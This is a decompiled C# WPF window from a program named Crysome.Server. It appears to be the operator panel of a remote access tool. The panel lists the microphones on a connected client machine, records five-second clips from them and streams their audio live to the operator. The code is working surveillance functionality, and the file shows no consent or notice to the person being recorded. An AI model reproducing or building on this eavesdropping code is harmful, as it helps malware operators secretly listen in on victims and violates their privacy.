using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using NAudio.Wave;
using Wpf.Ui.Controls;

namespace Crysome.Server.View;

public class RemoteAudioWindow : FluentWindow, IComponentConnector
{
	private readonly ClientInfo _client;

	private readonly ManageClientsViewModel _vm;

	private MediaPlayer _player;

	private string[] _devices = new string[0];

	private BufferedWaveProvider _bufferedProvider;

	private WaveOutEvent _waveOut;

	private bool _listening;

	internal TextBlock TitleText;

	internal Button CloseBtn;

	internal ComboBox MicCombo;

	internal Button RecordBtn;

	internal Button ListenBtn;

	internal Button StopListenBtn;

	internal TextBlock StatusText;

	private bool _contentLoaded;

	public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm)
	{
		InitializeComponent();
		_client = client;
		_vm = vm;
		((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?");
		TitleText.Text = ((Window)this).Title;
		StatusText.Text = "Select mic, then Record (5 sec) or Listen Live.";
		((FrameworkElement)this).Loaded += delegate
		{
			_vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC");
			LoadMics();
		};
		((Window)this).Closed += delegate
		{
			_player?.Close();
			StopListening();
		};
	}

	private void LoadMics()
	{
		_vm.GetAudioDevices(_client, delegate(string[] devs)
		{
			_devices = devs ?? new string[0];
			if (_devices.Length == 0)
			{
				_devices = new string[1] { "(No microphones found)" };
			}
			MicCombo.Items.Clear();
			for (int i = 0; i < _devices.Length; i++)
			{
				MicCombo.Items.Add(_devices[i] ?? ("Mic " + i));
			}
			if (MicCombo.Items.Count > 0)
			{
				MicCombo.SelectedIndex = 0;
			}
		});
	}

	private void RecordBtn_Click(object sender, RoutedEventArgs e)
	{
		((UIElement)(object)RecordBtn).IsEnabled = false;
		StatusText.Text = "Recording on remote machine...";
		int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
		_vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData)
		{
			((UIElement)(object)RecordBtn).IsEnabled = true;
			if (wavData == null || wavData.Length == 0)
			{
				StatusText.Text = "No audio received.";
				return;
			}
			try
			{
				string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav");
				File.WriteAllBytes(tmp, wavData);
				_player?.Close();
				_player = new MediaPlayer();
				_player.Open(new Uri(tmp));
				_player.MediaEnded += delegate
				{
					try
					{
						File.Delete(tmp);
					}
					catch
					{
					}
					_player.Close();
				};
				_player.Play();
				StatusText.Text = "Playing " + wavData.Length / 1024 + " KB...";
			}
			catch (Exception ex)
			{
				StatusText.Text = "Play failed: " + ex.Message;
			}
		});
	}

	private void ListenBtn_Click(object sender, RoutedEventArgs e)
	{
		int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
		_listening = true;
		((UIElement)(object)ListenBtn).IsEnabled = false;
		((UIElement)(object)StopListenBtn).IsEnabled = true;
		((UIElement)(object)RecordBtn).IsEnabled = false;
		StatusText.Text = "Listening live...";
		WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
		_bufferedProvider = new BufferedWaveProvider(waveFormat)
		{
			BufferDuration = TimeSpan.FromSeconds(5L)
		};
		_waveOut = new WaveOutEvent();
		_waveOut.Init(_bufferedProvider);
		_waveOut.Play();
		_vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk)
		{
			if (!_listening || _bufferedProvider == null)
			{
				return;
			}
			try
			{
				_bufferedProvider.AddSamples(chunk, 0, chunk.Length);
			}
			catch
			{
			}
		});
	}

	private void StopListenBtn_Click(object sender, RoutedEventArgs e)
	{
		StopListening();
	}

	private void StopListening()
	{
		_listening = false;
		_vm?.StopAudioStream(_client);
		((UIElement)(object)ListenBtn).IsEnabled = true;
		((UIElement)(object)StopListenBtn).IsEnabled = false;
		((UIElement)(object)RecordBtn).IsEnabled = true;
		try
		{
			_waveOut?.Stop();
			_waveOut?.Dispose();
		}
		catch
		{
		}
		_waveOut = null;
		_bufferedProvider = null;
		StatusText.Text = "Stopped.";
	}

	private void CloseBtn_Click(object sender, RoutedEventArgs e)
	{
		((Window)this).Close();
	}

	private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
	{
		try
		{
			((Window)this).DragMove();
		}
		catch
		{
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	public void InitializeComponent()
	{
		if (!_contentLoaded)
		{
			_contentLoaded = true;
			Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	[EditorBrowsable(EditorBrowsableState.Never)]
	void IComponentConnector.Connect(int connectionId, object target)
	{
		//IL_0054: Unknown result type (might be due to invalid IL or missing references)
		//IL_005e: Expected O, but got Unknown
		//IL_0085: Unknown result type (might be due to invalid IL or missing references)
		//IL_008f: Expected O, but got Unknown
		//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b3: Expected O, but got Unknown
		//IL_00cd: Unknown result type (might be due to invalid IL or missing references)
		//IL_00d7: Expected O, but got Unknown
		switch (connectionId)
		{
		case 1:
			((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
			break;
		case 2:
			TitleText = (TextBlock)target;
			break;
		case 3:
			CloseBtn = (Button)target;
			((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
			break;
		case 4:
			MicCombo = (ComboBox)target;
			break;
		case 5:
			RecordBtn = (Button)target;
			((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click;
			break;
		case 6:
			ListenBtn = (Button)target;
			((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click;
			break;
		case 7:
			StopListenBtn = (Button)target;
			((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click;
			break;
		case 8:
			StatusText = (TextBlock)target;
			break;
		default:
			_contentLoaded = true;
			break;
		}
	}
}
